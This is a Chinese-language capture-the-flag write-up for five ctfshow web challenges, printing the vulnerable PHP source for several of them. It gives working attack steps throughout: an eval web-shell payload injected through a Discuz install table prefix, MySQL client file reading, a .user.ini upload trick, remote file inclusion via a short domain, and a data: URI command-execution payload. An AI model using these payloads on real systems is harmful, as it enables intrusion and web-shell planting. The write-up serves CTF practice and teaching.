ctfshow-baby杯web题解

  1. 1. baby_captcha
  2. 2. ctfshowcms
  3. 3. 应该不难
  4. 4. baby_php
  5. 5. 完美的缺点
    1. 5.1. 远程包含
    2. 5.2. data协议

baby_captcha

阴间题.

这里猜测后端是把验证码放到了session里.只要session不变验证码就一直是同一个. (猜错了当我没猜

所以直接拿字典爆破即可

image-20210602095942046

ctfshowcms

主要下面两个文件:

index.php

1
2
3
4
5
6
7
8
9
<?php
define("ROOT_PATH",__DIR__);
error_reporting(0);

$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;

// include('install/index.php');
include('files/'.$want.".php");

install/index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
echo "你已经安装了ctfshowcms,请勿重复安装。";
exit;
}
echo "欢迎安装ctfshowcms~"."<br>";

$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
echo "CMS管理员用户名不能为空!";
exit();
}
if($password==""){
echo "CMS管理员密码不能为空!";
exit();
}
if($dbhost==""){
echo "数据库地址不能为空!";
exit();
}
if($dbuser==""){
echo "数据库用户名不能为空!";
exit();
}
if($dbpwd==""){
echo "数据库密码不能为空!";
exit();
}
if($dbname==""){
echo "数据库名不能为空!";
exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd ) or die("数据库连接失败");

// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );

if(file_exists("ctfshow.sql")){
echo "正在写入数据库!";
}else{
die("sql文件不存在");
}

$content = "<?php
\$DB_HOST='".$dbhost."';
\$DB_USER='".$dbuser."';
\$DB_PWD='".$dbpwd."';
\$DB_NAME='".$dbname."';
?>
";


file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";

$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
fwrite($of,"ctfshowcms");
}
echo "安装成功!";

在index.php包含install/index.php发现可以绕过file_exists("installLock.txt")

然后利用Mysql连接任意读文件,可以参考 https://blog.csdn.net/shuteer_xu/article/details/104046895/

image-20210602101031556

image-20210602101008536

应该不难

Discuz!漏洞直接打, 零组文库yyds

image-20210602101146234

安装时的表前缀x');@eval($_POST[L0nm4r]);('

image-20210602101237618

然后直接连shell

image-20210602101311996

baby_php

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
class fileUtil{
private $name;
private $content;

public function __construct($name,$content=''){
$this->name = $name;
$this->content = $content;
ini_set('open_basedir', '/var/www/html');
}

public function file_upload(){
if($this->waf($this->name) && $this->waf($this->content)){
return file_put_contents($this->name, $this->content);
}else{
return 0;
}
}

private function waf($input){
return !preg_match('/php/i', $input);
}

public function file_download(){
if(file_exists($this->name)){
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$this->name.'"');
header('Content-Transfer-Encoding: binary');
echo file_get_contents($this->name);
}else{
return False;
}
}
public function __destruct(){
}
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
die('Permission denied');
}
switch ($action) {
case 'upload':
$name = $_POST['name'];
$content = $_POST['content'];
$ft = new fileUtil($name,$content);
if($ft->file_upload()){
echo $name.' upload success!';
}
break;
case 'download':
$name = $_POST['name'];
$ft = new fileUtil($name,$content);
if($ft->file_download()===False){
echo $name.' download failed';
}
break;
default:
echo 'baby come on';
break;
}

?a=0或者不传 $action都会被赋值为true,true和非空字符串松散比较恒等

image-20210602101512057

所以$action=='upload' , 下面就是上传文件的思路了.

上传一个test.txt

image-20210602101719114

再上传.user.ini

image-20210602101738430

然后直接连shell即可

image-20210602101754369

完美的缺点

这题解法比较多.

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html/');

$file_name = substr($_GET['file_name'], 0,16);
$file_content=substr($_GET['file_content'], 0,32);

file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);
if(file_get_contents('php://input')==='ctfshow'){
include($file_name);
}

远程包含

在服务器上留一个木马然后包含即可, 主要是绕过长度限制.

  1. 买一个短域名: http://xxx.xxx/1 刚好16个字符

image-20210602113023962

  1. 转进制 (师傅们运气好的话10进制ip是可以到16个字符以内的. by yu22x

data协议

feng师傅的解法,涨姿势.

1
?file_name=data:,<?=`nl%20*`;

image-20210602115114521